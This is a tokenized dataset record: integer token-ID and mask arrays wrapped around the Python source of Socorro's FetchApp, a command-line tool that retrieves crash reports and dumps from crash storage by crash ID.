401, 199, 2, 7808, 401, 199, 2, 28064, 401, 199, 2, 29519, 401, 199, 2, 264, 1114, 401, 199, 2, 928, 401, 199, 2, 10636, 401, 199, 2, 1065, 401, 199, 2, 526, 321, 401, 199, 2, 11853, 401, 199, 2, 1235, 317, 4754, 401, 199, 2, 2030, 401, 199, 2, 72, 323, 401, 199, 2, 4399, 401, 199, 2, 1600, 401, 199, 2, 21890, 401, 199, 2, 7935, 401, 199, 2, 944, 401, 199, 2, 10885, 401, 199, 2, 72, 20471, 401, 199, 2, 3437, 401, 199, 2, 4219, 401, 199, 2, 71, 364, 401, 199, 2, 1152, 348, 401, 199, 2, 1222, 401, 199, 2, 3479, 401, 199, 2, 5601, 401, 199, 2, 17183, 401, 199, 2, 5626, 401, 199, 2, 2052, 401, 199, 2, 2246, 401, 199, 2, 771, 285, 401, 199, 2, 3670, 401, 199, 2, 9549, 351, 401, 199, 2, 2802, 401, 199, 2, 13565, 401, 199, 2, 32227, 401, 199, 2, 1461, 401, 199, 2, 1180, 401, 199, 2, 87, 265, 424, 401, 199, 2, 3972, 368, 401, 199, 2, 2411, 723, 401, 199, 2, 761, 68, 401, 199, 2, 1490, 401, 199, 2, 7010, 401, 199, 2, 1629, 401, 199, 2, 25599, 688, 401, 199, 2, 72, 5435, 401, 199, 2, 17217, 401, 199, 2, 13625, 401, 199, 2, 416, 3080, 401, 199, 2, 270, 1187, 401, 199, 2, 21327, 401, 199, 2, 354, 401, 199, 2, 800, 401, 199, 2, 2384, 401, 199, 2, 12267, 401, 199, 2, 4785, 401, 199, 2, 27467, 401, 199, 2, 16131, 401, 199, 2, 20842, 401, 199, 2, 524, 401, 199, 2, 8399, 401, 199, 2, 6314, 401, 199, 2, 13527, 401, 199, 2, 72, 18869, 401, 199, 2, 10180, 401, 199, 2, 71, 8319, 401, 199, 2, 7510, 401, 199, 2, 569, 351, 401, 199, 2, 4498, 401, 199, 2, 18597, 401, 199, 2, 27567, 401, 199, 2, 30736, 401, 199, 2, 2651, 401, 199, 2, 30881, 401, 199, 2, 12376, 401, 199, 2, 17282, 401, 199, 2, 1152, 265, 401, 199, 2, 3789, 401, 199, 2, 551, 1091, 401, 199, 2, 25058, 401, 199, 2, 1207, 264, 401, 199, 2, 14990, 401, 199, 2, 581, 401, 199, 2, 14287, 368, 401, 199, 2, 8191, 401, 199, 2, 75, 19857, 401, 199, 2, 17167, 401, 199, 2, 23727, 401, 199, 2, 1235, 25146, 401, 199, 2, 19153, 401, 199, 2, 66, 21703, 401, 199, 2, 15697, 401, 199, 2, 2588, 401, 199, 2, 1529, 401, 199, 2, 2184, 401, 199, 2, 28767, 401, 199, 2, 2350, 401, 199, 2, 10603, 401, 199, 2, 8387, 401, 199, 2, 573, 728, 401, 199, 2, 7138, 7935, 401, 199, 2, 3587, 401, 199, 2, 12948, 401, 199, 2, 7567, 401, 199, 2, 4844, 401, 199, 2, 4532, 401, 199, 2 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 662, 1264, 28430, 446, 10540, 3463, 21158, 1890, 199, 3, 1898, 334, 35, 9, 7760, 294, 676, 305, 86, 32, 3187, 16039, 1785, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 4388, 199, 3, 769, 402, 5932, 687, 1455, 921, 287, 14, 5319, 296, 695, 14, 1308, 15, 6797, 15, 55, 3258, 296, 695, 26, 18285, 63, 6717, 15, 714, 13555, 63, 555, 386, 651, 199, 199, 3148, 275, 359, 199, 2, 2930, 401, 199, 2, 4764, 401, 199, 2, 320, 432, 401, 199, 2, 14996, 401, 199, 2, 18178, 401, 199, 2, 7051, 401, 199, 2, 521, 401, 199, 2, 548, 401, 199, 2, 16990, 401, 199, 2, 1875, 401, 199, 2, 11660, 401, 199, 2, 15240, 401, 199, 2, 2110, 401, 199, 2, 2118, 401, 199, 2, 29727, 401, 199, 2, 426, 580, 401, 199, 2, 894, 401, 199, 2, 12726, 401, 199, 2, 9924, 401, 199, 2, 10254, 401, 199, 2, 6878, 401, 199, 2, 22703, 401, 199, 2, 32310, 401, 199, 2, 1589, 77, 401, 199, 2, 11066, 401, 199, 2, 2127, 401, 199, 2, 12056, 401, 199, 2, 8304, 401, 199, 2, 2809, 401, 199, 2, 9223, 401, 199, 2, 7617, 401, 199, 2, 7354, 401, 199, 2, 23472, 401, 199, 2, 9974, 401, 199, 2, 893, 401, 199, 2, 6868, 401, 199, 2, 273, 20816, 401, 199, 2, 1883, 401, 199, 2, 1681, 401, 199, 2, 1848, 401, 199, 2, 9321, 401, 199, 2, 3300, 441, 401, 199, 2, 14199, 401, 199, 2, 77, 2133, 401, 199, 2, 3019, 401, 199, 2, 1235, 287, 401, 199, 2, 14873, 401, 199, 2, 5907, 401, 199, 2, 10182, 401, 199, 2, 2231, 344, 401, 199, 2, 500, 401, 199, 2, 3972, 401, 199, 2, 273, 3362, 401, 199, 2, 11659, 401, 199, 2, 77, 688, 401, 199, 2, 13562, 401, 199, 2, 71, 723, 76, 401, 199, 2, 12422, 401, 199, 2, 68, 1091, 401, 199, 2, 3039, 401, 199, 2, 353, 401, 199, 2, 1662, 277, 401, 199, 2, 26035, 401, 199, 2, 16323, 401, 199, 2, 29428, 401, 199, 2, 1997, 401, 199, 2, 5182, 401, 199, 2, 10297, 401, 199, 2, 1623, 401, 199, 2, 7757, 401, 199, 2, 87, 2453, 401, 199, 2, 8302, 401, 199, 2, 5089, 401, 199, 2, 2778, 401, 199, 2, 813, 401, 199, 2, 2379, 401, 199, 2, 3250, 401, 199, 2, 6821, 401, 199, 2, 3239, 77, 401, 199, 2, 14287, 2127, 401, 199, 2, 2573, 401, 199, 2, 7808, 401, 199, 2, 28064, 401, 199, 2, 29519, 401, 199, 2, 264, 1114, 401, 199, 2, 928, 401, 199, 2, 10636, 401, 199, 2, 1065, 401, 199, 2, 526, 321, 401, 199, 2, 11853, 401, 199, 2, 1235, 317, 4754, 401, 199, 2, 2030, 401, 199, 2, 72, 323, 401, 199, 2, 4399, 401, 199, 2, 1600, 401, 199, 2, 21890, 401, 199, 2, 7935, 401, 199, 2, 944, 401, 199, 2, 10885, 401, 199, 2, 72, 20471, 401, 199, 2, 3437, 401, 199, 2, 4219, 401, 199, 2, 71, 364, 401, 199, 2, 1152, 348, 401, 199, 2, 1222, 401, 199, 2, 3479, 401, 199, 2, 5601, 401, 199, 2, 17183, 401, 199, 2, 5626, 401, 199, 2, 2052, 401, 199, 2, 2246, 401, 199, 2, 771, 285, 401, 199, 2, 3670, 401, 199, 2, 9549, 351, 401, 199, 2, 2802, 401, 199, 2, 13565, 401, 199, 2, 32227, 401, 199, 2, 1461, 401, 199, 2, 1180, 401, 199, 2, 87, 265, 424, 401, 199, 2, 3972, 368, 401, 199, 2, 2411, 723, 401, 199, 2, 761, 68, 401, 199, 2, 1490, 401, 199, 2, 7010, 401, 199, 2, 1629, 401, 199, 2, 25599, 688, 401, 199, 2, 72, 5435, 401, 199, 2, 17217, 401, 199, 2, 13625, 401, 199, 2, 416, 3080, 401, 199, 2, 270, 1187, 401, 199, 2, 21327, 401, 199, 2, 354, 401, 199, 2, 800, 401, 199, 2, 2384, 401, 199, 2, 12267, 401, 199, 2, 4785, 401, 199, 2, 27467, 401, 199, 2, 16131, 401, 199, 2, 20842, 401, 199, 2, 524, 401, 199, 2, 8399, 401, 199, 2, 6314, 401, 199, 2, 13527, 401, 199, 2, 72, 18869, 401, 199, 2, 10180, 401, 199, 2, 71, 8319, 401, 199, 2, 7510, 401, 199, 2, 569, 351, 401, 199, 2, 4498, 401, 199, 2, 18597, 401, 199, 2, 27567, 401, 199, 2, 30736, 401, 199, 2, 2651, 401, 199, 2, 30881, 401, 199, 2, 12376, 401, 199, 2, 17282, 401, 199, 2, 1152, 265, 401, 199, 2, 3789, 401, 199, 2, 551, 1091, 401, 199, 2, 25058, 401, 199, 2, 1207, 264, 401, 199, 2, 14990, 401, 199, 2, 581, 401, 199, 2, 14287, 368, 401, 199, 2, 8191, 401, 199, 2, 75, 19857, 401, 199, 2, 17167, 401, 199, 2, 23727, 401, 199, 2, 1235, 25146, 401, 199, 2, 19153, 401, 199, 2, 66, 21703, 401, 199, 2, 15697, 401, 199, 2, 2588, 401, 199, 2, 1529, 401, 199, 2, 2184, 401, 199, 2, 28767, 401, 199, 2, 2350, 401, 199, 2, 10603, 401, 199, 2, 8387, 401, 199, 2, 573, 728, 401, 199, 2, 7138, 7935, 401, 199, 2, 3587, 401, 199, 2, 12948, 401, 199, 2, 7567, 401, 199, 2, 4844, 401, 199, 2, 4532, 401, 199, 2, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
spthaolt/socorro
socorro/external/fetch_app.py
5
3830
import json from functools import partial from configman import Namespace, class_converter from socorro.app.socorro_app import App, main #============================================================================== class FetchApp(App): #-------------------------------------------------------------------------- required_config = Namespace() required_config.add_option( name='command', doc='what data to fetch (%s)', default='processed_crash', is_argument=True, ) required_config.add_option( name='crash_id', doc='the crash_id', default='', is_argument=True, ) required_config.add_option( name='dump_name', doc='the name of the dump required', default='', is_argument=True, ) required_config.add_option( name='crashstorage_class', doc='the crash storage system class', default='socorro.external.boto.crashstorage.BotoS3CrashStorage', from_string_converter=class_converter ) #-------------------------------------------------------------------------- app_name = "FetchApp" app_version = "1.0" app_description = 'get data from socorro' #-------------------------------------------------------------------------- @staticmethod def get_application_defaults(): """since this app is more of an interactive app than the others, the logging of config information is rather disruptive. Override the default logging level to one that is less annoying.""" return { 'logging.stderr_error_logging_level': 50 } #-------------------------------------------------------------------------- def method_not_found(self): return "we're sorry, but %s is not a command" % self.config.command #-------------------------------------------------------------------------- def raw_crash_command(self,): return json.dumps( self.crash_store.get_raw_crash(self.config.crash_id), sort_keys=True, indent=4, separators=(',', ': '), ) #-------------------------------------------------------------------------- def processed_crash_command(self): return json.dumps( self.crash_store.get_unredacted_processed(self.config.crash_id), sort_keys=True, indent=4, separators=(',', ': '), ) #-------------------------------------------------------------------------- def raw_dump_command(self): return self.crash_store.get_raw_dump( self.config.crash_id, self.config.dump_name ) #-------------------------------------------------------------------------- def raw_dumps_as_files_command(self): return self.crash_store.get_raw_dumps_as_files( self.config.crash_id ) #-------------------------------------------------------------------------- def find_method(self, a_method_name): try: return getattr(self, a_method_name + '_command') except AttributeError: return partial(self.method_not_found, a_method_name) #-------------------------------------------------------------------------- def main(self): self.crash_store = self.config.crashstorage_class(self.config) command = self.find_method(self.config.command) result = command() if result is not None: print result commands = [] for a_symbol in dir(FetchApp): if a_symbol.endswith('_command'): commands.append(a_symbol.replace('_command', '')) FetchApp.required_config.command.doc = ( FetchApp.required_config.command.doc % ', '.join(commands) ) if __name__ == '__main__': main(FetchApp)
mpl-2.0
[ 646, 2022, 199, 199, 504, 9143, 492, 7417, 199, 199, 504, 1101, 1237, 492, 19317, 12, 1021, 63, 11256, 199, 504, 308, 28720, 293, 14, 571, 14, 83, 28720, 293, 63, 571, 492, 4693, 12, 2446, 421, 199, 31436, 199, 533, 16347, 2640, 8, 2640, 304, 339, 14309, 9460, 272, 1415, 63, 888, 275, 19317, 342, 272, 1415, 63, 888, 14, 525, 63, 1422, 8, 267, 536, 534, 1531, 297, 267, 1382, 534, 10058, 666, 370, 5267, 4366, 83, 3196, 267, 849, 534, 7292, 63, 14807, 297, 267, 365, 63, 2094, 29, 549, 12, 272, 776, 272, 1415, 63, 888, 14, 525, 63, 1422, 8, 267, 536, 534, 14807, 63, 344, 297, 267, 1382, 534, 1589, 12420, 63, 344, 297, 267, 849, 4581, 267, 365, 63, 2094, 29, 549, 12, 272, 776, 272, 1415, 63, 888, 14, 525, 63, 1422, 8, 267, 536, 534, 2724, 63, 354, 297, 267, 1382, 534, 1589, 536, 402, 314, 5461, 1415, 297, 267, 849, 4581, 267, 365, 63, 2094, 29, 549, 12, 272, 776, 272, 1415, 63, 888, 14, 525, 63, 1422, 8, 267, 536, 534, 14807, 3494, 63, 533, 297, 267, 1382, 534, 1589, 12420, 4887, 2656, 1021, 297, 267, 849, 534, 83, 28720, 293, 14, 5159, 14, 10914, 14, 14807, 3494, 14, 20380, 51, 19, 17345, 1119, 6408, 297, 267, 687, 63, 875, 63, 11256, 29, 533, 63, 11256, 272, 776, 339, 14309, 9460, 272, 1145, 63, 354, 275, 298, 11135, 2640, 2, 272, 1145, 63, 1023, 275, 298, 17, 14, 16, 2, 272, 1145, 63, 1802, 275, 283, 362, 666, 687, 308, 28720, 293, 7, 339, 14309, 9460, 272, 768, 4639, 272, 347, 664, 63, 3578, 63, 4322, 837, 267, 408, 8585, 642, 1145, 365, 1655, 402, 376, 12777, 1145, 2419, 314, 11789, 12, 314, 267, 2050, 402, 1101, 2556, 365, 7830, 2153, 5505, 857, 14, 221, 11041, 314, 267, 849, 2050, 2166, 370, 1373, 626, 365, 6656, 22984, 22440, 1041, 267, 372, 469, 288, 283, 4806, 14, 3083, 63, 705, 63, 4806, 63, 1896, 356, 5238, 267, 789, 339, 14309, 9460, 272, 347, 1083, 63, 1397, 63, 4214, 8, 277, 304, 267, 372, 298, 1129, 3984, 308, 21342, 12, 1325, 450, 83, 365, 440, 282, 1414, 2, 450, 291, 14, 888, 14, 1531, 339, 14309, 9460, 272, 347, 3066, 63, 14807, 63, 1531, 8, 277, 16095, 267, 372, 2022, 14, 4180, 8, 288, 291, 14, 14807, 63, 1617, 14, 362, 63, 1773, 63, 14807, 8, 277, 14, 888, 14, 14807, 63, 344, 395, 288, 4069, 63, 1612, 29, 549, 12, 288, 4363, 29, 20, 12, 288, 17658, 2687, 23324, 7596, 17748, 267, 776, 339, 14309, 9460, 272, 347, 7686, 63, 14807, 63, 1531, 8, 277, 304, 267, 372, 2022, 14, 4180, 8, 288, 291, 14, 14807, 63, 1617, 14, 362, 63, 324, 581, 645, 471, 63, 7292, 8, 277, 14, 888, 14, 14807, 63, 344, 395, 288, 4069, 63, 1612, 29, 549, 12, 288, 4363, 29, 20, 12, 288, 17658, 2687, 23324, 7596, 17748, 267, 776, 339, 14309, 9460, 272, 347, 3066, 63, 2724, 63, 1531, 8, 277, 304, 267, 372, 291, 14, 14807, 63, 1617, 14, 362, 63, 1773, 63, 2724, 8, 288, 291, 14, 888, 14, 14807, 63, 344, 12, 288, 291, 14, 888, 14, 2724, 63, 354, 267, 776, 339, 14309, 9460, 272, 347, 3066, 63, 4180, 63, 305, 63, 1725, 63, 1531, 8, 277, 304, 267, 372, 291, 14, 14807, 63, 1617, 14, 362, 63, 1773, 63, 4180, 63, 305, 63, 1725, 8, 288, 291, 14, 888, 14, 14807, 63, 344, 267, 776, 339, 14309, 9460, 272, 347, 2342, 63, 765, 8, 277, 12, 282, 63, 765, 63, 354, 304, 267, 862, 26, 288, 372, 2519, 8, 277, 12, 282, 63, 765, 63, 354, 435, 2513, 1531, 358, 267, 871, 4281, 26, 288, 372, 7417, 8, 277, 14, 765, 63, 1397, 63, 4214, 12, 282, 63, 765, 63, 354, 9, 339, 14309, 9460, 272, 347, 2446, 8, 277, 304, 267, 291, 14, 14807, 63, 1617, 275, 291, 14, 888, 14, 14807, 3494, 63, 533, 8, 277, 14, 888, 9, 267, 1414, 275, 291, 14, 1623, 63, 765, 8, 277, 14, 888, 14, 1531, 9, 267, 754, 275, 1414, 342, 267, 340, 754, 365, 440, 488, 26, 288, 870, 754, 421, 199, 4405, 275, 942, 199, 509, 282, 63, 5155, 315, 2935, 8, 11135, 2640, 304, 272, 340, 282, 63, 5155, 14, 4130, 6412, 1531, 735, 267, 3718, 14, 740, 8, 65, 63, 5155, 14, 1814, 6412, 1531, 297, 12381, 199, 199, 11135, 2640, 14, 2427, 63, 888, 14, 1531, 14, 1301, 275, 334, 272, 16347, 2640, 14, 2427, 63, 888, 14, 1531, 14, 1301, 450, 1656, 1987, 904, 8, 4405, 9, 199, 9, 4388, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 8, 11135, 2640, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2022, 199, 199, 504, 9143, 492, 7417, 199, 199, 504, 1101, 1237, 492, 19317, 12, 1021, 63, 11256, 199, 504, 308, 28720, 293, 14, 571, 14, 83, 28720, 293, 63, 571, 492, 4693, 12, 2446, 421, 199, 31436, 199, 533, 16347, 2640, 8, 2640, 304, 339, 14309, 9460, 272, 1415, 63, 888, 275, 19317, 342, 272, 1415, 63, 888, 14, 525, 63, 1422, 8, 267, 536, 534, 1531, 297, 267, 1382, 534, 10058, 666, 370, 5267, 4366, 83, 3196, 267, 849, 534, 7292, 63, 14807, 297, 267, 365, 63, 2094, 29, 549, 12, 272, 776, 272, 1415, 63, 888, 14, 525, 63, 1422, 8, 267, 536, 534, 14807, 63, 344, 297, 267, 1382, 534, 1589, 12420, 63, 344, 297, 267, 849, 4581, 267, 365, 63, 2094, 29, 549, 12, 272, 776, 272, 1415, 63, 888, 14, 525, 63, 1422, 8, 267, 536, 534, 2724, 63, 354, 297, 267, 1382, 534, 1589, 536, 402, 314, 5461, 1415, 297, 267, 849, 4581, 267, 365, 63, 2094, 29, 549, 12, 272, 776, 272, 1415, 63, 888, 14, 525, 63, 1422, 8, 267, 536, 534, 14807, 3494, 63, 533, 297, 267, 1382, 534, 1589, 12420, 4887, 2656, 1021, 297, 267, 849, 534, 83, 28720, 293, 14, 5159, 14, 10914, 14, 14807, 3494, 14, 20380, 51, 19, 17345, 1119, 6408, 297, 267, 687, 63, 875, 63, 11256, 29, 533, 63, 11256, 272, 776, 339, 14309, 9460, 272, 1145, 63, 354, 275, 298, 11135, 2640, 2, 272, 1145, 63, 1023, 275, 298, 17, 14, 16, 2, 272, 1145, 63, 1802, 275, 283, 362, 666, 687, 308, 28720, 293, 7, 339, 14309, 9460, 272, 768, 4639, 272, 347, 664, 63, 3578, 63, 4322, 837, 267, 408, 8585, 642, 1145, 365, 1655, 402, 376, 12777, 1145, 2419, 314, 11789, 12, 314, 267, 2050, 402, 1101, 2556, 365, 7830, 2153, 5505, 857, 14, 221, 11041, 314, 267, 849, 2050, 2166, 370, 1373, 626, 365, 6656, 22984, 22440, 1041, 267, 372, 469, 288, 283, 4806, 14, 3083, 63, 705, 63, 4806, 63, 1896, 356, 5238, 267, 789, 339, 14309, 9460, 272, 347, 1083, 63, 1397, 63, 4214, 8, 277, 304, 267, 372, 298, 1129, 3984, 308, 21342, 12, 1325, 450, 83, 365, 440, 282, 1414, 2, 450, 291, 14, 888, 14, 1531, 339, 14309, 9460, 272, 347, 3066, 63, 14807, 63, 1531, 8, 277, 16095, 267, 372, 2022, 14, 4180, 8, 288, 291, 14, 14807, 63, 1617, 14, 362, 63, 1773, 63, 14807, 8, 277, 14, 888, 14, 14807, 63, 344, 395, 288, 4069, 63, 1612, 29, 549, 12, 288, 4363, 29, 20, 12, 288, 17658, 2687, 23324, 7596, 17748, 267, 776, 339, 14309, 9460, 272, 347, 7686, 63, 14807, 63, 1531, 8, 277, 304, 267, 372, 2022, 14, 4180, 8, 288, 291, 14, 14807, 63, 1617, 14, 362, 63, 324, 581, 645, 471, 63, 7292, 8, 277, 14, 888, 14, 14807, 63, 344, 395, 288, 4069, 63, 1612, 29, 549, 12, 288, 4363, 29, 20, 12, 288, 17658, 2687, 23324, 7596, 17748, 267, 776, 339, 14309, 9460, 272, 347, 3066, 63, 2724, 63, 1531, 8, 277, 304, 267, 372, 291, 14, 14807, 63, 1617, 14, 362, 63, 1773, 63, 2724, 8, 288, 291, 14, 888, 14, 14807, 63, 344, 12, 288, 291, 14, 888, 14, 2724, 63, 354, 267, 776, 339, 14309, 9460, 272, 347, 3066, 63, 4180, 63, 305, 63, 1725, 63, 1531, 8, 277, 304, 267, 372, 291, 14, 14807, 63, 1617, 14, 362, 63, 1773, 63, 4180, 63, 305, 63, 1725, 8, 288, 291, 14, 888, 14, 14807, 63, 344, 267, 776, 339, 14309, 9460, 272, 347, 2342, 63, 765, 8, 277, 12, 282, 63, 765, 63, 354, 304, 267, 862, 26, 288, 372, 2519, 8, 277, 12, 282, 63, 765, 63, 354, 435, 2513, 1531, 358, 267, 871, 4281, 26, 288, 372, 7417, 8, 277, 14, 765, 63, 1397, 63, 4214, 12, 282, 63, 765, 63, 354, 9, 339, 14309, 9460, 272, 347, 2446, 8, 277, 304, 267, 291, 14, 14807, 63, 1617, 275, 291, 14, 888, 14, 14807, 3494, 63, 533, 8, 277, 14, 888, 9, 267, 1414, 275, 291, 14, 1623, 63, 765, 8, 277, 14, 888, 14, 1531, 9, 267, 754, 275, 1414, 342, 267, 340, 754, 365, 440, 488, 26, 288, 870, 754, 421, 199, 4405, 275, 942, 199, 509, 282, 63, 5155, 315, 2935, 8, 11135, 2640, 304, 272, 340, 282, 63, 5155, 14, 4130, 6412, 1531, 735, 267, 3718, 14, 740, 8, 65, 63, 5155, 14, 1814, 6412, 1531, 297, 12381, 199, 199, 11135, 2640, 14, 2427, 63, 888, 14, 1531, 14, 1301, 275, 334, 272, 16347, 2640, 14, 2427, 63, 888, 14, 1531, 14, 1301, 450, 1656, 1987, 904, 8, 4405, 9, 199, 9, 4388, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 8, 11135, 2640, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 